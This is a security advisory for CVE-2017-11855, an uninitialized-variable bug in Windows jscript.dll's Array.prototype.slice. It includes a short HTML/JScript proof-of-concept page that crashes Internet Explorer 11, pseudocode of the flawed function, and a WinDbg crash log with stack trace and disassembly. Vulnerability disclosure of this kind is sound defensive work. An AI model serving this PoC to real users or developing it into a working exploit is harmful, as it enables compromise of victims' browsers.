WIndows jscript!JsArraySlice Uninitialized Variable
Posted on 19 December 2017
Windows: Uninitialized variable in jscript!JsArraySlice CVE-2017-11855 There is an uninitialized variable vulnerability in jscript.dll. This issue could potentially be exploited through multiple vectors: - By opening a malicious web page in Internet Explorer. - [currently untested] An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. The issue has been verified on 64-bit Windows 10 with the most recent patches applied. PoC for Internet Explorer (tested on IE 11 with a 64-bit tab process. Might no work very reliably due to the nature of the issue, please see the technical details below): ============================================ <!-- saved from url=(0014)about:internet --> <meta http-equiv="X-UA-Compatible" content="IE=8"></meta> <script language="Jscript.Encode"> var x = new URIError(new Array(), undefined, undefined); String.prototype.localeCompare.call(x, new Date(0, 0, 0, 0, 0, 0, undefined)); Array.prototype.slice.call(1); </script> ============================================ Technical details: The issue is in jscript!JsArraySlice (Array.prototype.slice.call in the PoC above, all other lines are just fuzzer generated junk that puts the stack into a 'correct' state needed to demonstrate the issue). JsArraySlice looks approximately like: int JsArraySlice(CSession *session, VAR *this, VAR *ret, int num_args, VAR *args) { VAR object; VAR length; NameTbl *nametable; if(!ConvertToObject(session, this, &object, 0)) { //set error and return } if(!IsJSObject(&object, &nametable)) { //set error and return } if(nametable->GetVal(&g_sym_length, &length) < 0) { //set error and return } if(length->type != TYPE_INT) { ConvertToScalar(session, &length, &length, 3, 1); } ... } The issue is that JsArraySlice() expects NameTBL::GetVal() to return an integer <0 if the input object does not contain the 'length' property. However in this case NameTBL::GetVal() will actually return 1. Also, in this case, the length VAR is *not* going to be initialized. Thus if NameTBL::GetVal() returns 1, ConvertToScalar() is going to be called with invalid arguments. Depending on the perceived (uninitialized) type of length VAR, this might lead to exploitable conditions including calling a virtual method on the uninitialized pointer (see below). Debug log: ============================================ (a3c.bd8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript!InvokeDispatch+0xbd: 00007ffa`e45a45fd 488b4008 mov rax,qword ptr [rax+8] ds:0000004e`00610056=???????????????? 0:014> r rax=0000004e0061004e rbx=000000f42f0fb400 rcx=00007ffae4630904 rdx=0000000000000081 rsi=0000000000000002 rdi=00007ffae4630904 rip=00007ffae45a45fd rsp=000000f42f0fb1e0 rbp=000000f42f0fb2e0 <a href="https://crrev.com/8" title="" class="" rel="nofollow">r8</a>=000000f42f0fb230 <a href="https://crrev.com/9" title="" class="" rel="nofollow">r9</a>=000000f42f0fb2a0 <a href="https://crrev.com/10" title="" class="" rel="nofollow">r10</a>=0000000000000080 <a href="https://crrev.com/11" title="" class="" rel="nofollow">r11</a>=5555555511140000 <a href="https://crrev.com/12" title="" class="" rel="nofollow">r12</a>=0000000000000000 <a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>=0000000000000000 <a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a>=000002a7533c5a70 <a href="https://crrev.com/15" title="" class="" rel="nofollow">r15</a>=0000000000000000 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 jscript!InvokeDispatch+0xbd: 00007ffa`e45a45fd 488b4008 mov rax,qword ptr [rax+8] ds:0000004e`00610056=???????????????? 0:014> k # Child-SP RetAddr Call Site 00 000000f4`2f0fb1e0 00007ffa`e45b548f jscript!InvokeDispatch+0xbd 01 000000f4`2f0fb380 00007ffa`e45adc2d jscript!AutBlock::AddRef+0x101f 02 000000f4`2f0fb3d0 00007ffa`e45e048f jscript!ConvertToScalar+0x51 03 000000f4`2f0fb440 00007ffa`e458265a jscript!JsArraySlice+0x10f 04 000000f4`2f0fb540 00007ffa`e458b015 jscript!NatFncObj::Call+0x10a 05 000000f4`2f0fb5f0 00007ffa`e458d75b jscript!NameTbl::InvokeInternal+0x135 06 000000f4`2f0fb6b0 00007ffa`e45d4d80 jscript!VAR::InvokeByDispID+0x87 07 000000f4`2f0fb700 00007ffa`e458265a jscript!JsFncCall+0xb0 08 000000f4`2f0fb780 00007ffa`e458b015 jscript!NatFncObj::Call+0x10a 09 000000f4`2f0fb830 00007ffa`e458cce0 jscript!NameTbl::InvokeInternal+0x135 0a 000000f4`2f0fb8f0 00007ffa`e45a7f18 jscript!VAR::InvokeByName+0x580 0b 000000f4`2f0fbaf0 00007ffa`e45b562b jscript!VAR::InvokeDispName+0x60 0c 000000f4`2f0fbb70 00007ffa`e4594ccf jscript!AutBlock::AddRef+0x11bb 0d 000000f4`2f0fbbc0 00007ffa`e45972cd jscript!CScriptRuntime::Run+0x665f 0e 000000f4`2f0fc520 00007ffa`e4597428 jscript!ScrFncObj::CallWithFrameOnStack+0x15d 0f 000000f4`2f0fc720 00007ffa`e4588b15 jscript!ScrFncObj::Call+0xb8 10 000000f4`2f0fc7c0 00007ffa`e45861eb jscript!CSession::Execute+0x265 11 000000f4`2f0fc920 00007ffa`e4586929 jscript!COleScript::ExecutePendingScripts+0x28b 12 000000f4`2f0fca00 00007ffa`e4586a06 jscript!COleScript::ParseScriptTextCore+0x239 13 000000f4`2f0fcaf0 00007ffa`ae439138 jscript!COleScript::ParseScriptText+0x56 14 000000f4`2f0fcb50 00007ffa`ae4f8f7d MSHTML!CActiveScriptHolder::ParseScriptText+0xb8 15 000000f4`2f0fcbd0 00007ffa`ae4f827c MSHTML!CScriptCollection::ParseScriptText+0x26d 16 000000f4`2f0fccb0 00007ffa`ae465a63 MSHTML!CScriptData::CommitCode+0x3b4 17 000000f4`2f0fce80 00007ffa`ae4657df MSHTML!CScriptData::Execute+0x267 18 000000f4`2f0fcf40 00007ffa`ae357ea1 MSHTML!CHtmScriptParseCtx::Execute+0xbf 19 000000f4`2f0fcf70 00007ffa`ae3b8880 MSHTML!CHtmParseBase::Execute+0x181 1a 000000f4`2f0fd000 00007ffa`ae3b846a MSHTML!CHtmPost::Broadcast+0x50 1b 000000f4`2f0fd040 00007ffa`ae467fae MSHTML!CHtmPost::Exec+0x39a 1c 000000f4`2f0fd240 00007ffa`ae469324 MSHTML!CHtmPost::Run+0x32 1d 000000f4`2f0fd270 00007ffa`ae463b99 MSHTML!PostManExecute+0x70 1e 000000f4`2f0fd2f0 00007ffa`ae463a60 MSHTML!PostManResume+0xa1 1f 000000f4`2f0fd330 00007ffa`ae44523c MSHTML!CHtmPost::OnDwnChanCallback+0x40 20 000000f4`2f0fd380 00007ffa`ae386e21 MSHTML!CDwnChan::OnMethodCall+0x1c 21 000000f4`2f0fd3b0 00007ffa`ae3adcb9 MSHTML!GlobalWndOnMethodCall+0x251 22 000000f4`2f0fd460 00007ffa`f1f61c24 MSHTML!GlobalWndProc+0xf9 23 000000f4`2f0fd4f0 00007ffa`f1f6156c USER32!UserCallWinProcCheckWow+0x274 24 000000f4`2f0fd650 00007ffa`afa629f7 USER32!DispatchMessageWorker+0x1ac 25 000000f4`2f0fd6d0 00007ffa`afa9ed04 IEFRAME!CTabWindow::_TabWindowThreadProc+0x5e7 26 000000f4`2f0ff920 00007ffa`e42c9586 IEFRAME!LCIETab_ThreadProc+0x3a4 27 000000f4`2f0ffa50 00007ffa`c8b92ed9 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x16 28 000000f4`2f0ffa80 00007ffa`f2268364 IEShims!NS_CreateThread::AutomationIE_ThreadProc+0x89 29 000000f4`2f0ffad0 00007ffa`f43e7091 KERNEL32!BaseThreadInitThunk+0x14 2a 000000f4`2f0ffb00 00000000`00000000 ntdll!RtlUserThreadStart+0x21 0:014> u rip jscript!InvokeDispatch+0xbd: 00007ffa`e45a45fd 488b4008 mov rax,qword ptr [rax+8] 00007ffa`e45a4601 ff15c14d0700 call qword ptr [jscript!_guard_dispatch_icall_fptr (00007ffa`e46193c8)] 00007ffa`e45a4607 488d442458 lea rax,[rsp+58h] 00007ffa`e45a460c 458bc4 mov r8d,r12d 00007ffa`e45a460f 4889442448 mov qword ptr [rsp+48h],rax 00007ffa`e45a4614 488bd7 mov rdx,rdi 00007ffa`e45a4617 488d4580 lea rax,[rbp-80h] 00007ffa`e45a461b 498bce mov rcx,<a href="https://crrev.com/14" title="" class="" rel="nofollow">r14</a> ============================================ This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: ifratric
